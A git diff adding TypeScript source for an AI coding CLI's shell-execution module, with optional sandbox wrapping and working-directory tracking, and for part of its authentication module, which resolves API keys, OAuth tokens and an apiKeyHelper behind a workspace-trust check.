+    allLines: string,
+    totalLines: number,
+    totalBytes: number,
+    isIncomplete: boolean,
+  ) => void
+  preventCwdChanges?: boolean
+  shouldUseSandbox?: boolean
+  shouldAutoBackground?: boolean
+  /** When provided, stdout is piped (not sent to file) and this callback fires on each data chunk. */
+  onStdout?: (data: string) => void
+}
+
+/**
+ * Execute a shell command using the environment snapshot
+ * Creates a new shell process for each command execution
+ */
+export async function exec(
+  command: string,
+  abortSignal: AbortSignal,
+  shellType: ShellType,
+  options?: ExecOptions,
+): Promise<ShellCommand> {
+  const {
+    timeout,
+    onProgress,
+    preventCwdChanges,
+    shouldUseSandbox,
+    shouldAutoBackground,
+    onStdout,
+  } = options ?? {}
+  const commandTimeout = timeout || DEFAULT_TIMEOUT
+
+  const provider = await resolveProvider[shellType]()
+
+  const id = Math.floor(Math.random() * 0x10000)
+    .toString(16)
+    .padStart(4, '0')
+
+  // Sandbox temp directory - use per-user directory name to prevent multi-user permission conflicts
+  const sandboxTmpDir = posixJoin(
+    process.env.CLAUDE_CODE_TMPDIR || '/tmp',
+    getClaudeTempDirName(),
+  )
+
+  const { commandString: builtCommand, cwdFilePath } =
+    await provider.buildExecCommand(command, {
+      id,
+      sandboxTmpDir: shouldUseSandbox ? sandboxTmpDir : undefined,
+      useSandbox: shouldUseSandbox ?? false,
+    })
+
+  let commandString = builtCommand
+
+  let cwd = pwd()
+
+  // Recover if the current working directory no longer exists on disk.
+  // This can happen when a command deletes its own CWD (e.g., temp dir cleanup).
+  try {
+    await realpath(cwd)
+  } catch {
+    const fallback = getOriginalCwd()
+    logForDebugging(
+      `Shell CWD "${cwd}" no longer exists, recovering to "${fallback}"`,
+    )
+    try {
+      await realpath(fallback)
+      setCwdState(fallback)
+      cwd = fallback
+    } catch {
+      return createFailedCommand(
+        `Working directory "${cwd}" no longer exists. Please restart Claude from an existing directory.`,
+      )
+    }
+  }
+
+  // If already aborted, don't spawn the process at all
+  if (abortSignal.aborted) {
+    return createAbortedCommand()
+  }
+
+  const binShell = provider.shellPath
+
+  // Sandboxed PowerShell: wrapWithSandbox hardcodes `<binShell> -c '<cmd>'` —
+  // using pwsh there would lose -NoProfile -NonInteractive (profile load
+  // inside sandbox → delays, stray output, may hang on prompts). Instead:
+  //   • powershellProvider.buildExecCommand (useSandbox) pre-wraps as
+  //     `pwsh -NoProfile -NonInteractive -EncodedCommand <base64>` — base64
+  //     survives the runtime's shellquote.quote() layer
+  //   • pass /bin/sh as the sandbox's inner shell to exec that invocation
+  //   • outer spawn is also /bin/sh -c to parse the runtime's POSIX output
+  // /bin/sh exists on every platform where sandbox is supported.
+  const isSandboxedPowerShell = shouldUseSandbox && shellType === 'powershell'
+  const sandboxBinShell = isSandboxedPowerShell ? '/bin/sh' : binShell
+
+  if (shouldUseSandbox) {
+    commandString = await SandboxManager.wrapWithSandbox(
+      commandString,
+      sandboxBinShell,
+      undefined,
+      abortSignal,
+    )
+    // Create sandbox temp directory for sandboxed processes with secure permissions
+    try {
+      const fs = getFsImplementation()
+      await fs.mkdir(sandboxTmpDir, { mode: 0o700 })
+    } catch (error) {
+      logForDebugging(`Failed to create ${sandboxTmpDir} directory: ${error}`)
+    }
+  }
+
+  const spawnBinary = isSandboxedPowerShell ? '/bin/sh' : binShell
+  const shellArgs = isSandboxedPowerShell
+    ? ['-c', commandString]
+    : provider.getSpawnArgs(commandString)
+  const envOverrides = await provider.getEnvironmentOverrides(command)
+
+  // When onStdout is provided, use pipe mode: stdout flows through
+  // StreamWrapper → TaskOutput in-memory buffer instead of a file fd.
+  // This lets callers receive real-time stdout callbacks.
+  const usePipeMode = !!onStdout
+  const taskId = generateTaskId('local_bash')
+  const taskOutput = new TaskOutput(taskId, onProgress ?? null, !usePipeMode)
+  await mkdir(getTaskOutputDir(), { recursive: true })
+
+  // In file mode, both stdout and stderr go to the same file fd.
+  // On POSIX, O_APPEND makes each write atomic (seek-to-end + write), so
+  // stdout and stderr are interleaved chronologically without tearing.
+  // On Windows, 'a' mode strips FILE_WRITE_DATA (only grants FILE_APPEND_DATA)
+  // via libuv's fs__open. MSYS2/Cygwin probes inherited handles with
+  // NtQueryInformationFile(FileAccessInformation) and treats handles without
+  // FILE_WRITE_DATA as read-only, silently discarding all output. Using 'w'
+  // grants FILE_GENERIC_WRITE. Atomicity is preserved because duplicated
+  // handles share the same FILE_OBJECT with FILE_SYNCHRONOUS_IO_NONALERT,
+  // which serializes all I/O through a single kernel lock.
+  // SECURITY: O_NOFOLLOW prevents symlink-following attacks from the sandbox.
+  // On Windows, use string flags — numeric flags can produce EINVAL through libuv.
+  let outputHandle: FileHandle | undefined
+  if (!usePipeMode) {
+    const O_NOFOLLOW = fsConstants.O_NOFOLLOW ?? 0
+    outputHandle = await open(
+      taskOutput.path,
+      process.platform === 'win32'
+        ? 'w'
+        : fsConstants.O_WRONLY |
+            fsConstants.O_CREAT |
+            fsConstants.O_APPEND |
+            O_NOFOLLOW,
+    )
+  }
+
+  try {
+    const childProcess = spawn(spawnBinary, shellArgs, {
+      env: {
+        ...subprocessEnv(),
+        SHELL: shellType === 'bash' ? binShell : undefined,
+        GIT_EDITOR: 'true',
+        CLAUDECODE: '1',
+        ...envOverrides,
+        ...(process.env.USER_TYPE === 'ant'
+          ? {
+              CLAUDE_CODE_SESSION_ID: getSessionId(),
+            }
+          : {}),
+      },
+      cwd,
+      stdio: usePipeMode
+        ? ['pipe', 'pipe', 'pipe']
+        : ['pipe', outputHandle?.fd, outputHandle?.fd],
+      // Don't pass the signal - we'll handle termination ourselves with tree-kill
+      detached: provider.detached,
+      // Prevent visible console window on Windows (no-op on other platforms)
+      windowsHide: true,
+    })
+
+    const shellCommand = wrapSpawn(
+      childProcess,
+      abortSignal,
+      commandTimeout,
+      taskOutput,
+      shouldAutoBackground,
+    )
+
+    // Close our copy of the fd — the child has its own dup.
+    // Must happen after wrapSpawn attaches 'error' listener, since the await
+    // yields and the child's ENOENT 'error' event can fire in that window.
+    // Wrapped in its own try/catch so a close failure (e.g. EIO) doesn't fall
+    // through to the spawn-failure catch block, which would orphan the child.
+    if (outputHandle !== undefined) {
+      try {
+        await outputHandle.close()
+      } catch {
+        // fd may already be closed by the child; safe to ignore
+      }
+    }
+
+    // In pipe mode, attach the caller's callbacks alongside StreamWrapper.
+    // Both listeners receive the same data chunks (Node.js ReadableStream supports
+    // multiple 'data' listeners). StreamWrapper feeds TaskOutput for persistence;
+    // these callbacks give the caller real-time access.
+    if (childProcess.stdout && onStdout) {
+      childProcess.stdout.on('data', (chunk: string | Buffer) => {
+        onStdout(typeof chunk === 'string' ? chunk : chunk.toString())
+      })
+    }
+
+    // Attach cleanup to the command result
+    // NOTE: readFileSync/unlinkSync are intentional here — these must complete
+    // synchronously within the .then() microtask so that callers who
+    // `await shellCommand.result` see the updated cwd immediately after.
+    // Using async readFile would introduce a microtask boundary, causing
+    // a race where cwd hasn't been updated yet when the caller continues.
+
+    // On Windows, cwdFilePath is a POSIX path (for bash's `pwd -P >| $path`),
+    // but Node.js needs a native Windows path for readFileSync/unlinkSync.
+    // Similarly, `pwd -P` outputs a POSIX path that must be converted before setCwd.
+    const nativeCwdFilePath =
+      getPlatform() === 'windows'
+        ? posixPathToWindowsPath(cwdFilePath)
+        : cwdFilePath
+
+    void shellCommand.result.then(async result => {
+      // On Linux, bwrap creates 0-byte mount-point files on the host to deny
+      // writes to non-existent paths (.bashrc, HEAD, etc.). These persist after
+      // bwrap exits as ghost dotfiles in cwd. Cleanup is synchronous and a no-op
+      // on macOS. Keep before any await so callers awaiting .result see a clean
+      // working tree in the same microtask.
+      if (shouldUseSandbox) {
+        SandboxManager.cleanupAfterCommand()
+      }
+      // Only foreground tasks update the cwd
+      if (result && !preventCwdChanges && !result.backgroundTaskId) {
+        try {
+          let newCwd = readFileSync(nativeCwdFilePath, {
+            encoding: 'utf8',
+          }).trim()
+          if (getPlatform() === 'windows') {
+            newCwd = posixPathToWindowsPath(newCwd)
+          }
+          // cwd is NFC-normalized (setCwdState); newCwd from `pwd -P` may be
+          // NFD on macOS APFS. Normalize before comparing so Unicode paths
+          // don't false-positive as "changed" on every command.
+          if (newCwd.normalize('NFC') !== cwd) {
+            setCwd(newCwd, cwd)
+            invalidateSessionEnvCache()
+            void onCwdChangedForHooks(cwd, newCwd)
+          }
+        } catch {
+          logEvent('tengu_shell_set_cwd', { success: false })
+        }
+      }
+      // Clean up the temp file used for cwd tracking
+      try {
+        unlinkSync(nativeCwdFilePath)
+      } catch {
+        // File may not exist if command failed before pwd -P ran
+      }
+    })
+
+    return shellCommand
+  } catch (error) {
+    // Close the fd if spawn failed (child never got its dup)
+    if (outputHandle !== undefined) {
+      try {
+        await outputHandle.close()
+      } catch {
+        // May already be closed
+      }
+    }
+    taskOutput.clear()
+
+    logForDebugging(`Shell exec error: ${errorMessage(error)}`)
+
+    return createAbortedCommand(undefined, {
+      code: 126, // Standard Unix code for execution errors
+      stderr: errorMessage(error),
+    })
+  }
+}
+
+/**
+ * Set the current working directory
+ */
+export function setCwd(path: string, relativeTo?: string): void {
+  const resolved = isAbsolute(path)
+    ? path
+    : resolve(relativeTo || getFsImplementation().cwd(), path)
+  // Resolve symlinks to match the behavior of pwd -P.
+  // realpathSync throws ENOENT if the path doesn't exist - convert to a
+  // friendlier error message instead of a separate existsSync pre-check (TOCTOU).
+  let physicalPath: string
+  try {
+    physicalPath = getFsImplementation().realpathSync(resolved)
+  } catch (e) {
+    if (isENOENT(e)) {
+      throw new Error(`Path "${resolved}" does not exist`)
+    }
+    throw e
+  }
+
+  setCwdState(physicalPath)
+  if (process.env.NODE_ENV !== 'test') {
+    try {
+      logEvent('tengu_shell_set_cwd', {
+        success: true,
+      })
+    } catch (_error) {
+      // Ignore logging errors to prevent test failures
+    }
+  }
+}
diff --git a/cc-haha/src/utils/auth.ts b/cc-haha/src/utils/auth.ts
new file mode 100644
index 0000000..64a6180
--- /dev/null
+++ b/cc-haha/src/utils/auth.ts
@@ -0,0 +1,2002 @@
+import chalk from 'chalk'
+import { exec } from 'child_process'
+import { execa } from 'execa'
+import { mkdir, stat } from 'fs/promises'
+import memoize from 'lodash-es/memoize.js'
+import { join } from 'path'
+import { CLAUDE_AI_PROFILE_SCOPE } from 'src/constants/oauth.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from 'src/services/analytics/index.js'
+import { getModelStrings } from 'src/utils/model/modelStrings.js'
+import { getAPIProvider } from 'src/utils/model/providers.js'
+import {
+  getIsNonInteractiveSession,
+  preferThirdPartyAuthentication,
+} from '../bootstrap/state.js'
+import {
+  getMockSubscriptionType,
+  shouldUseMockSubscription,
+} from '../services/mockRateLimits.js'
+import {
+  isOAuthTokenExpired,
+  refreshOAuthToken,
+  shouldUseClaudeAIAuth,
+} from '../services/oauth/client.js'
+import { getOauthProfileFromOauthToken } from '../services/oauth/getOauthProfile.js'
+import type { OAuthTokens, SubscriptionType } from '../services/oauth/types.js'
+import {
+  getApiKeyFromFileDescriptor,
+  getOAuthTokenFromFileDescriptor,
+} from './authFileDescriptor.js'
+import {
+  maybeRemoveApiKeyFromMacOSKeychainThrows,
+  normalizeApiKeyForConfig,
+} from './authPortable.js'
+import {
+  checkStsCallerIdentity,
+  clearAwsIniCache,
+  isValidAwsStsOutput,
+} from './aws.js'
+import { AwsAuthStatusManager } from './awsAuthStatusManager.js'
+import { clearBetasCaches } from './betas.js'
+import {
+  type AccountInfo,
+  checkHasTrustDialogAccepted,
+  getGlobalConfig,
+  saveGlobalConfig,
+} from './config.js'
+import { logAntError, logForDebugging } from './debug.js'
+import {
+  getClaudeConfigHomeDir,
+  isBareMode,
+  isEnvTruthy,
+  isRunningOnHomespace,
+} from './envUtils.js'
+import { errorMessage } from './errors.js'
+import { execSyncWithDefaults_DEPRECATED } from './execFileNoThrow.js'
+import * as lockfile from './lockfile.js'
+import { logError } from './log.js'
+import { memoizeWithTTLAsync } from './memoize.js'
+import { getSecureStorage } from './secureStorage/index.js'
+import {
+  clearLegacyApiKeyPrefetch,
+  getLegacyApiKeyPrefetchResult,
+} from './secureStorage/keychainPrefetch.js'
+import {
+  clearKeychainCache,
+  getMacOsKeychainStorageServiceName,
+  getUsername,
+} from './secureStorage/macOsKeychainHelpers.js'
+import {
+  getSettings_DEPRECATED,
+  getSettingsForSource,
+} from './settings/settings.js'
+import { sleep } from './sleep.js'
+import { jsonParse } from './slowOperations.js'
+import { clearToolSchemaCache } from './toolSchemaCache.js'
+
+/** Default TTL for API key helper cache in milliseconds (5 minutes) */
+const DEFAULT_API_KEY_HELPER_TTL = 5 * 60 * 1000
+
+/**
+ * CCR and Claude Desktop spawn the CLI with OAuth and should never fall back
+ * to the user's ~/.claude/settings.json API-key config (apiKeyHelper,
+ * env.ANTHROPIC_API_KEY, env.ANTHROPIC_AUTH_TOKEN). Those settings exist for
+ * the user's terminal CLI, not managed sessions. Without this guard, a user
+ * who runs `claude` in their terminal with an API key sees every CCD session
+ * also use that key — and fail if it's stale/wrong-org.
+ */
+function isManagedOAuthContext(): boolean {
+  return (
+    isEnvTruthy(process.env.CLAUDE_CODE_REMOTE) ||
+    process.env.CLAUDE_CODE_ENTRYPOINT === 'claude-desktop'
+  )
+}
+
+/** Whether we are supporting direct 1P auth. */
+// this code is closely related to getAuthTokenSource
+export function isAnthropicAuthEnabled(): boolean {
+  // --bare: API-key-only, never OAuth.
+  if (isBareMode()) return false
+
+  // `claude ssh` remote: ANTHROPIC_UNIX_SOCKET tunnels API calls through a
+  // local auth-injecting proxy. The launcher sets CLAUDE_CODE_OAUTH_TOKEN as a
+  // placeholder iff the local side is a subscriber (so the remote includes the
+  // oauth-2025 beta header to match what the proxy will inject). The remote's
+  // ~/.claude settings (apiKeyHelper, settings.env.ANTHROPIC_API_KEY) MUST NOT
+  // flip this — they'd cause a header mismatch with the proxy and a bogus
+  // "invalid x-api-key" from the API. See src/ssh/sshAuthProxy.ts.
+  if (process.env.ANTHROPIC_UNIX_SOCKET) {
+    return !!process.env.CLAUDE_CODE_OAUTH_TOKEN
+  }
+
+  const is3P =
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_BEDROCK) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_VERTEX) ||
+    isEnvTruthy(process.env.CLAUDE_CODE_USE_FOUNDRY)
+
+  // Check if user has configured an external API key source
+  // This allows externally-provided API keys to work (without requiring proxy configuration)
+  const settings = getSettings_DEPRECATED() || {}
+  const apiKeyHelper = settings.apiKeyHelper
+  const hasExternalAuthToken =
+    process.env.ANTHROPIC_AUTH_TOKEN ||
+    apiKeyHelper ||
+    process.env.CLAUDE_CODE_API_KEY_FILE_DESCRIPTOR
+
+  // Check if API key is from an external source (not managed by /login)
+  const { source: apiKeySource } = getAnthropicApiKeyWithSource({
+    skipRetrievingKeyFromApiKeyHelper: true,
+  })
+  const hasExternalApiKey =
+    apiKeySource === 'ANTHROPIC_API_KEY' || apiKeySource === 'apiKeyHelper'
+
+  // Disable Anthropic auth if:
+  // 1. Using 3rd party services (Bedrock/Vertex/Foundry)
+  // 2. User has an external API key (regardless of proxy configuration)
+  // 3. User has an external auth token (regardless of proxy configuration)
+  // this may cause issues if users have complex proxy / gateway "client-side creds" auth scenarios,
+  // e.g. if they want to set X-Api-Key to a gateway key but use Anthropic OAuth for the Authorization
+  // if we get reports of that, we should probably add an env var to force OAuth enablement
+  const shouldDisableAuth =
+    is3P ||
+    (hasExternalAuthToken && !isManagedOAuthContext()) ||
+    (hasExternalApiKey && !isManagedOAuthContext())
+
+  return !shouldDisableAuth
+}
+
+/** Where the auth token is being sourced from, if any. */
+// this code is closely related to isAnthropicAuthEnabled
+export function getAuthTokenSource() {
+  // --bare: API-key-only. apiKeyHelper (from --settings) is the only
+  // bearer-token-shaped source allowed. OAuth env vars, FD tokens, and
+  // keychain are ignored.
+  if (isBareMode()) {
+    if (getConfiguredApiKeyHelper()) {
+      return { source: 'apiKeyHelper' as const, hasToken: true }
+    }
+    return { source: 'none' as const, hasToken: false }
+  }
+
+  if (process.env.ANTHROPIC_AUTH_TOKEN && !isManagedOAuthContext()) {
+    return { source: 'ANTHROPIC_AUTH_TOKEN' as const, hasToken: true }
+  }
+
+  if (process.env.CLAUDE_CODE_OAUTH_TOKEN) {
+    return { source: 'CLAUDE_CODE_OAUTH_TOKEN' as const, hasToken: true }
+  }
+
+  // Check for OAuth token from file descriptor (or its CCR disk fallback)
+  const oauthTokenFromFd = getOAuthTokenFromFileDescriptor()
+  if (oauthTokenFromFd) {
+    // getOAuthTokenFromFileDescriptor has a disk fallback for CCR subprocesses
+    // that can't inherit the pipe FD. Distinguish by env var presence so the
+    // org-mismatch message doesn't tell the user to unset a variable that
+    // doesn't exist. Call sites fall through correctly — the new source is
+    // !== 'none' (cli/handlers/auth.ts → oauth_token) and not in the
+    // isEnvVarToken set (auth.ts:1844 → generic re-login message).
+    if (process.env.CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR) {
+      return {
+        source: 'CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR' as const,
+        hasToken: true,
+      }
+    }
+    return {
+      source: 'CCR_OAUTH_TOKEN_FILE' as const,
+      hasToken: true,
+    }
+  }
+
+  // Check if apiKeyHelper is configured without executing it
+  // This prevents security issues where arbitrary code could execute before trust is established
+  const apiKeyHelper = getConfiguredApiKeyHelper()
+  if (apiKeyHelper && !isManagedOAuthContext()) {
+    return { source: 'apiKeyHelper' as const, hasToken: true }
+  }
+
+  const oauthTokens = getClaudeAIOAuthTokens()
+  if (shouldUseClaudeAIAuth(oauthTokens?.scopes) && oauthTokens?.accessToken) {
+    return { source: 'claude.ai' as const, hasToken: true }
+  }
+
+  return { source: 'none' as const, hasToken: false }
+}
+
+export type ApiKeySource =
+  | 'ANTHROPIC_API_KEY'
+  | 'apiKeyHelper'
+  | '/login managed key'
+  | 'none'
+
+export function getAnthropicApiKey(): null | string {
+  const { key } = getAnthropicApiKeyWithSource()
+  return key
+}
+
+export function hasAnthropicApiKeyAuth(): boolean {
+  const { key, source } = getAnthropicApiKeyWithSource({
+    skipRetrievingKeyFromApiKeyHelper: true,
+  })
+  return key !== null && source !== 'none'
+}
+
+export function getAnthropicApiKeyWithSource(
+  opts: { skipRetrievingKeyFromApiKeyHelper?: boolean } = {},
+): {
+  key: null | string
+  source: ApiKeySource
+} {
+  // --bare: hermetic auth. Only ANTHROPIC_API_KEY env or apiKeyHelper from
+  // the --settings flag. Never touches keychain, config file, or approval
+  // lists. 3P (Bedrock/Vertex/Foundry) uses provider creds, not this path.
+  if (isBareMode()) {
+    if (process.env.ANTHROPIC_API_KEY) {
+      return { key: process.env.ANTHROPIC_API_KEY, source: 'ANTHROPIC_API_KEY' }
+    }
+    if (getConfiguredApiKeyHelper()) {
+      return {
+        key: opts.skipRetrievingKeyFromApiKeyHelper
+          ? null
+          : getApiKeyFromApiKeyHelperCached(),
+        source: 'apiKeyHelper',
+      }
+    }
+    return { key: null, source: 'none' }
+  }
+
+  // On homespace, don't use ANTHROPIC_API_KEY (use Console key instead)
+  // https://anthropic.slack.com/archives/C08428WSLKV/p1747331773214779
+  const apiKeyEnv = isRunningOnHomespace()
+    ? undefined
+    : process.env.ANTHROPIC_API_KEY
+
+  // Always check for direct environment variable when the user ran claude --print.
+  // This is useful for CI, etc.
+  if (preferThirdPartyAuthentication() && apiKeyEnv) {
+    return {
+      key: apiKeyEnv,
+      source: 'ANTHROPIC_API_KEY',
+    }
+  }
+
+  if (isEnvTruthy(process.env.CI) || process.env.NODE_ENV === 'test') {
+    // Check for API key from file descriptor first
+    const apiKeyFromFd = getApiKeyFromFileDescriptor()
+    if (apiKeyFromFd) {
+      return {
+        key: apiKeyFromFd,
+        source: 'ANTHROPIC_API_KEY',
+      }
+    }
+
+    if (
+      !apiKeyEnv &&
+      !process.env.CLAUDE_CODE_OAUTH_TOKEN &&
+      !process.env.CLAUDE_CODE_OAUTH_TOKEN_FILE_DESCRIPTOR
+    ) {
+      throw new Error(
+        'ANTHROPIC_API_KEY or CLAUDE_CODE_OAUTH_TOKEN env var is required',
+      )
+    }
+
+    if (apiKeyEnv) {
+      return {
+        key: apiKeyEnv,
+        source: 'ANTHROPIC_API_KEY',
+      }
+    }
+
+    // OAuth token is present but this function returns API keys only
+    return {
+      key: null,
+      source: 'none',
+    }
+  }
+  // Check for ANTHROPIC_API_KEY before checking the apiKeyHelper or /login-managed key
+  if (
+    apiKeyEnv &&
+    getGlobalConfig().customApiKeyResponses?.approved?.includes(
+      normalizeApiKeyForConfig(apiKeyEnv),
+    )
+  ) {
+    return {
+      key: apiKeyEnv,
+      source: 'ANTHROPIC_API_KEY',
+    }
+  }
+
+  // Check for API key from file descriptor
+  const apiKeyFromFd = getApiKeyFromFileDescriptor()
+  if (apiKeyFromFd) {
+    return {
+      key: apiKeyFromFd,
+      source: 'ANTHROPIC_API_KEY',
+    }
+  }
+
+  // Check for apiKeyHelper — use sync cache, never block
+  const apiKeyHelperCommand = getConfiguredApiKeyHelper()
+  if (apiKeyHelperCommand) {
+    if (opts.skipRetrievingKeyFromApiKeyHelper) {
+      return {
+        key: null,
+        source: 'apiKeyHelper',
+      }
+    }
+    // Cache may be cold (helper hasn't finished yet). Return null with
+    // source='apiKeyHelper' rather than falling through to keychain —
+    // apiKeyHelper must win. Callers needing a real key must await
+    // getApiKeyFromApiKeyHelper() first (client.ts, useApiKeyVerification do).
+    return {
+      key: getApiKeyFromApiKeyHelperCached(),
+      source: 'apiKeyHelper',
+    }
+  }
+
+  const apiKeyFromConfigOrMacOSKeychain = getApiKeyFromConfigOrMacOSKeychain()
+  if (apiKeyFromConfigOrMacOSKeychain) {
+    return apiKeyFromConfigOrMacOSKeychain
+  }
+
+  return {
+    key: null,
+    source: 'none',
+  }
+}
+
+/**
+ * Get the configured apiKeyHelper from settings.
+ * In bare mode, only the --settings flag source is consulted — apiKeyHelper
+ * from ~/.claude/settings.json or project settings is ignored.
+ */
+export function getConfiguredApiKeyHelper(): string | undefined {
+  if (isBareMode()) {
+    return getSettingsForSource('flagSettings')?.apiKeyHelper
+  }
+  const mergedSettings = getSettings_DEPRECATED() || {}
+  return mergedSettings.apiKeyHelper
+}
+
+/**
+ * Check if the configured apiKeyHelper comes from project settings (projectSettings or localSettings)
+ */
+function isApiKeyHelperFromProjectOrLocalSettings(): boolean {
+  const apiKeyHelper = getConfiguredApiKeyHelper()
+  if (!apiKeyHelper) {
+    return false
+  }
+
+  const projectSettings = getSettingsForSource('projectSettings')
+  const localSettings = getSettingsForSource('localSettings')
+  return (
+    projectSettings?.apiKeyHelper === apiKeyHelper ||
+    localSettings?.apiKeyHelper === apiKeyHelper
+  )
+}
+
+/**
+ * Get the configured awsAuthRefresh from settings
+ */
+function getConfiguredAwsAuthRefresh(): string | undefined {
+  const mergedSettings = getSettings_DEPRECATED() || {}
+  return mergedSettings.awsAuthRefresh
+}
+
+/**
+ * Check if the configured awsAuthRefresh comes from project settings
+ */
+export function isAwsAuthRefreshFromProjectSettings(): boolean {
+  const awsAuthRefresh = getConfiguredAwsAuthRefresh()
+  if (!awsAuthRefresh) {
+    return false
+  }
+
+  const projectSettings = getSettingsForSource('projectSettings')
+  const localSettings = getSettingsForSource('localSettings')
+  return (
+    projectSettings?.awsAuthRefresh === awsAuthRefresh ||
+    localSettings?.awsAuthRefresh === awsAuthRefresh
+  )
+}
+
+/**
+ * Get the configured awsCredentialExport from settings
+ */
+function getConfiguredAwsCredentialExport(): string | undefined {
+  const mergedSettings = getSettings_DEPRECATED() || {}
+  return mergedSettings.awsCredentialExport
+}
+
+/**
+ * Check if the configured awsCredentialExport comes from project settings
+ */
+export function isAwsCredentialExportFromProjectSettings(): boolean {
+  const awsCredentialExport = getConfiguredAwsCredentialExport()
+  if (!awsCredentialExport) {
+    return false
+  }
+
+  const projectSettings = getSettingsForSource('projectSettings')
+  const localSettings = getSettingsForSource('localSettings')
+  return (
+    projectSettings?.awsCredentialExport === awsCredentialExport ||
+    localSettings?.awsCredentialExport === awsCredentialExport
+  )
+}
+
+/**
+ * Calculate TTL in milliseconds for the API key helper cache
+ * Uses CLAUDE_CODE_API_KEY_HELPER_TTL_MS env var if set and valid,
+ * otherwise defaults to 5 minutes
+ */
+export function calculateApiKeyHelperTTL(): number {
+  const envTtl = process.env.CLAUDE_CODE_API_KEY_HELPER_TTL_MS
+
+  if (envTtl) {
+    const parsed = parseInt(envTtl, 10)
+    if (!Number.isNaN(parsed) && parsed >= 0) {
+      return parsed
+    }
+    logForDebugging(
+      `Found CLAUDE_CODE_API_KEY_HELPER_TTL_MS env var, but it was not a valid number. Got ${envTtl}`,
+      { level: 'error' },
+    )
+  }
+
+  return DEFAULT_API_KEY_HELPER_TTL
+}
+
+// Async API key helper with sync cache for non-blocking reads.
+// Epoch bumps on clearApiKeyHelperCache() — orphaned executions check their
+// captured epoch before touching module state so a settings-change or 401-retry
+// mid-flight can't clobber the newer cache/inflight.
+let _apiKeyHelperCache: { value: string; timestamp: number } | null = null
+let _apiKeyHelperInflight: {
+  promise: Promise<string | null>
+  // Only set on cold launches (user is waiting); null for SWR background refreshes.
+  startedAt: number | null
+} | null = null
+let _apiKeyHelperEpoch = 0
+
+export function getApiKeyHelperElapsedMs(): number {
+  const startedAt = _apiKeyHelperInflight?.startedAt
+  return startedAt ? Date.now() - startedAt : 0
+}
+
+export async function getApiKeyFromApiKeyHelper(
+  isNonInteractiveSession: boolean,
+): Promise<string | null> {
+  if (!getConfiguredApiKeyHelper()) return null
+  const ttl = calculateApiKeyHelperTTL()
+  if (_apiKeyHelperCache) {
+    if (Date.now() - _apiKeyHelperCache.timestamp < ttl) {
+      return _apiKeyHelperCache.value
+    }
+    // Stale — return stale value now, refresh in the background.
+    // `??=` banned here by eslint no-nullish-assign-object-call (bun bug).
+    if (!_apiKeyHelperInflight) {
+      _apiKeyHelperInflight = {
+        promise: _runAndCache(
+          isNonInteractiveSession,
+          false,
+          _apiKeyHelperEpoch,
+        ),
+        startedAt: null,
+      }
+    }
+    return _apiKeyHelperCache.value
+  }
+  // Cold cache — deduplicate concurrent calls
+  if (_apiKeyHelperInflight) return _apiKeyHelperInflight.promise
+  _apiKeyHelperInflight = {
+    promise: _runAndCache(isNonInteractiveSession, true, _apiKeyHelperEpoch),
+    startedAt: Date.now(),
+  }
+  return _apiKeyHelperInflight.promise
+}
+
+async function _runAndCache(
+  isNonInteractiveSession: boolean,
+  isCold: boolean,
+  epoch: number,
+): Promise<string | null> {
+  try {
+    const value = await _executeApiKeyHelper(isNonInteractiveSession)
+    if (epoch !== _apiKeyHelperEpoch) return value
+    if (value !== null) {
+      _apiKeyHelperCache = { value, timestamp: Date.now() }
+    }
+    return value
+  } catch (e) {
+    if (epoch !== _apiKeyHelperEpoch) return ' '
+    const detail = e instanceof Error ? e.message : String(e)
+    // biome-ignore lint/suspicious/noConsole: user-configured script failed; must be visible without --debug
+    console.error(chalk.red(`apiKeyHelper failed: ${detail}`))
+    logForDebugging(`Error getting API key from apiKeyHelper: ${detail}`, {
+      level: 'error',
+    })
+    // SWR path: a transient failure shouldn't replace a working key with
+    // the ' ' sentinel — keep serving the stale value and bump timestamp
+    // so we don't hammer-retry every call.
+    if (!isCold && _apiKeyHelperCache && _apiKeyHelperCache.value !== ' ') {
+      _apiKeyHelperCache = { ..._apiKeyHelperCache, timestamp: Date.now() }
+      return _apiKeyHelperCache.value
+    }
+    // Cold cache or prior error — cache ' ' so callers don't fall back to OAuth
+    _apiKeyHelperCache = { value: ' ', timestamp: Date.now() }
+    return ' '
+  } finally {
+    if (epoch === _apiKeyHelperEpoch) {
+      _apiKeyHelperInflight = null
+    }
+  }
+}
+
+async function _executeApiKeyHelper(
+  isNonInteractiveSession: boolean,
+): Promise<string | null> {
+  const apiKeyHelper = getConfiguredApiKeyHelper()
+  if (!apiKeyHelper) {
+    return null
+  }
+
+  if (isApiKeyHelperFromProjectOrLocalSettings()) {
+    const hasTrust = checkHasTrustDialogAccepted()
+    if (!hasTrust && !isNonInteractiveSession) {
+      const error = new Error(
+        `Security: apiKeyHelper executed before workspace trust is confirmed. If you see this message, post in ${MACRO.FEEDBACK_CHANNEL}.`,
+      )
+      logAntError('apiKeyHelper invoked before trust check', error)
+      logEvent('tengu_apiKeyHelper_missing_trust11', {})
+      return null
+    }
+  }
+
+  const result = await execa(apiKeyHelper, {
+    shell: true,
+    timeout: 10 * 60 * 1000,
+    reject: false,
+  })
+  if (result.failed) {
+    // reject:false — execa resolves on exit≠0/timeout, stderr is on result
+    const why = result.timedOut ? 'timed out' : `exited ${result.exitCode}`
+    const stderr = result.stderr?.trim()
+    throw new Error(stderr ? `${why}: ${stderr}` : why)
+  }
+  const stdout = result.stdout?.trim()
+  if (!stdout) {
+    throw new Error('did not return a value')
+  }
+  return stdout
+}
+
+/**
+ * Sync cache reader — returns the last fetched apiKeyHelper value without executing.
+ * Returns stale values to match SWR semantics of the async reader.
+ * Returns null only if the async fetch hasn't completed yet.
+ */
+export function getApiKeyFromApiKeyHelperCached(): string | null {
+  return _apiKeyHelperCache?.value ?? null
+}
+
+export function clearApiKeyHelperCache(): void {
+  _apiKeyHelperEpoch++
+  _apiKeyHelperCache = null
+  _apiKeyHelperInflight = null
+}
+
+export function prefetchApiKeyFromApiKeyHelperIfSafe(
+  isNonInteractiveSession: boolean,
+): void {
+  // Skip if trust not yet accepted — the inner _executeApiKeyHelper check
+  // would catch this too, but would fire a false-positive analytics event.
+  if (
+    isApiKeyHelperFromProjectOrLocalSettings() &&
+    !checkHasTrustDialogAccepted()
+  ) {
+    return
+  }
